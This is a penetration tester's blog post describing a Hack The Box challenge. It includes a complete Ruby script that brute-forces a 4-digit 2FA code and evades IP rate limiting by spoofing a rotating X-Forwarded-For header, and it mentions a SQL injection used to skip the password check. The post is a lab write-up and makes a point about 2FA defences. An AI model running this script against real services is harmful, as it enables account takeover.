Brute-forcing 2FA with Ruby

23 Mar 2024

I was doing a challenge on Hack The Box(since it is still active, I don’t want to point out which one it was) and I solved it with a little Ruby script. The challenge was to bypass 2FA protection. At the login proccess, a SQL injection enabled to bypass the password verification, but there was a second factor. Based on the available source code, the second factor was a 4 digit code and it was valid for 5 minutes, so I tried to brute-force it with Burp Intruder, but after the 20th attempt, my IP got blocked. I looked at the codebase again, and noticed that the application accepts an X-Forwarded-For header. I thought this might enable me to brute-force the 2FA code. Unfortunately Intruder doesn’t make it easy to rotate the IP during an attack, so I decided to write a little Ruby script to handle this.

My goal was to get a script that iterates over the 4 digit permutations of the numbers from 0 till 9, make a request with the code to the target, set the X-Forwarded-For header and rotate it every 5 requests. The failed 2FA code resulted in a 400 status code, so when the script receives anything else, it is likely a match and I want it to output the response so I can get the session cookie from the headers.

For the HTTP requests, I decided to use Faraday, because it makes it easy to set request headers, debug them if needed and to easily see the response headers. I checked Ruby’s IPAddr class and it has a succ method to get the next IP address, this will be perfect for the IP address rotation.

This is the script I ended up with comments for explanation:

require "ipaddr"
require 'faraday'

# start with this IP
ip = IPAddr.new "1.1.1.1"

# iterate over the repeated_permutations of our character set(0-9)
(0..9).to_a.repeated_permutation(4).each do |numbers|
  code = numbers.join # create the code from the numbers
  # rotate IP every 5th requests
  ip = ip.succ if code.to_i % 5 == 0

  # create a faraday connection to the target with the necessary header
  conn = Faraday.new(
    url: 'TARGET/auth/verify-2fa',
    headers: {'X-Forwarded-For' => ip.to_s}
  )

  # send the request
  response = conn.post('/auth/verify-2fa') do |req|
    req.body = "2fa-code=#{code}"
  end

  # poor man's progress indicator
  puts response.status
  # if the response status is not 400 we have a match. output the response and stop the process
  if response.status != 400
    puts response.inspect
    break
  end
end

As you can see, this task is a breeze with Ruby, no wonder why many cyber security professionals use it as their go to scripting language.

As for the challenge, it highlights a typical real life issue with 2FA implementations in my experience. I found a few bugs where there was no rate-limiting at all on the 2FA code and token lifetime was enough to brute-force it.

Hire me for a penetration test

Let's find the security holes before the bad guys do.

Or follow me on Twitter

Related posts